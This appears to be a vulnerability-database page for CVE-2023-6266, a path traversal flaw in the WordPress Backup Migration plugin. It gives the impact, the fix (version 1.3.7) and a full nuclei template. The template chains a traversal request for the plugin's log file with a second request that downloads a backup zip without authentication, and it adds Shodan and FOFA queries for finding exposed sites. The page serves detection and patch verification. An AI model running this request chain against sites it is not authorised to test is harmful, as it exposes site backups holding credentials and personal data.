WordPress Backup Migration <= 1.3.6 - Path Traversal

highseverity

7.5CVSS score

2.1%likelihood of exploitation, next 30 days

82%of all CVEs are less likely

Readycheck to confirm it

WordPress Backup Migration plugin versions up to 1.3.6 contain a path traversal and file validation issue in handle_downloading function, letting unauthenticated attackers download backup files containing sensitive information.

Impact

Attackers can download backup files with sensitive data, leading to data breaches and privacy violations.

Fix

Update to the latest version of the plugin, version 1.3.7 or later.

How to confirm it

Send: GET /?backup-migration=BMI_BACKUP&backup-id=../complete_logs.log
Positive when: status_code == 200 and contains(body, "BM_Backup")
Send: GET /?backup-migration=BMI_BACKUP&backup-id={{backupfile}}
Positive when: status_code == 200 and contains(content_type, "application/zip")

Run it with nuclei: nuclei -id CVE-2023-6266 -u <target>

The full check

id: CVE-2023-6266

info:
  name: WordPress Backup Migration <= 1.3.6 - Path Traversal
  author: riteshs4hu
  severity: high
  description: |
    WordPress Backup Migration plugin versions up to 1.3.6 contain a path traversal and file validation issue in handle_downloading function, letting unauthenticated attackers download backup files containing sensitive information.
  impact: |
    Attackers can download backup files with sensitive data, leading to data breaches and privacy violations.
  remediation: |
    Update to the latest version of the plugin, version 1.3.7 or later.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/d8c3c04e-c0f9-4f7e-b7e5-3e3e3e3e3e3e
    - https://patchstack.com/database/vulnerability/backup-backup/wordpress-backup-migration-plugin-1-3-7-unauthenticated-arbitrary-backup-download-vulnerability
    - https://plugins.trac.wordpress.org/browser/backup-backup/tags/1.3.5/includes/initializer.php#L1048
    - https://plugins.trac.wordpress.org/browser/backup-backup/tags/1.3.5/includes/initializer.php#L972
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-6266
    cwe-id: CWE-552
    epss-score: 0.02055
    epss-percentile: 0.81447
    cpe: cpe:2.3:a:backupbliss:backup_migration:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: backupbliss
    product: backup_migration
    framework: wordpress
    shodan-query: http.html:"backup-migration"
    fofa-query: body="backup-migration"
  tags: cve,cve2023,wp,wp-plugin,wordpress,backupbliss,backup-migration,vkev,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /?backup-migration=BMI_BACKUP&backup-id=../complete_logs.log HTTP/1.1
        Host: {{Hostname}}

    redirects: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "BM_Backup")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: backupfile
        part: body
        regex:
          - 'BM_Backup_[0-9_-]+_[A-Za-z0-9]+\.zip'
        internal: true

  - raw:
      - |
        GET /?backup-migration=BMI_BACKUP&backup-id={{backupfile}} HTTP/1.1
        Host: {{Hostname}}

    redirects: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/zip")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from